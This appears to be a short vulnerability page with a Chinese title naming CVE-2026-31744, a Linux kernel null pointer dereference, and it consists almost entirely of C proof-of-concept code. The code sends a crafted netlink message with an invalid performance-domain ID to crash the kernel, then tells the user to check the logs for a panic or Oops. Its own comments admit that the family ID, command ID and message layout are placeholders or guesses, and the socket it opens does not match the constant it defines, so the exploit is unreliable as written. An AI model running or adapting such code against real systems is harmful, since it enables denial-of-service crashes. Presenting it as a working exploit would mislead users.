CVE-2026-31744 Linux内核空指针解引用漏洞

#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> // PoC for CVE-2026-31744 // Trigger NULL pointer dereference in dev_energymodel_nl_get_perf_domains_doit #define NETLINK_ENERGY_MODEL 31 // Placeholder, actual family ID may vary int main() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; struct iovec iov; struct msghdr msg; // Create Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK); if (sock_fd < 0) { perror("socket"); return -1; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; dest_addr.nl_pid = 0; // Kernel // Allocate message nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(1024)); memset(nlh, 0, NLMSG_SPACE(1024)); nlh->nlmsg_len = NLMSG_SPACE(1024); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = 0; // Assume command ID for get_perf_domains is 1 or similar nlh->nlmsg_type = 1; // Payload: Invalid Perf Domain ID (e.g., 0xFFFFFFFF) // The exact structure depends on the specific Netlink attribute parsing // Here we simulate sending an invalid ID. uint32_t invalid_id = 0xFFFFFFFF; memcpy(NLMSG_DATA(nlh), &invalid_id, sizeof(invalid_id)); iov.iov_base = (void *)nlh; iov.iov_len = nlh->nlmsg_len; memset(&msg, 0, sizeof(msg)); msg.msg_name = (void *)&dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; printf("Sending payload to trigger NULL pointer dereference...\n"); sendmsg(sock_fd, &msg, 0); printf("Check system logs for kernel panic/ Oops.\n"); close(sock_fd); free(nlh); return 0; }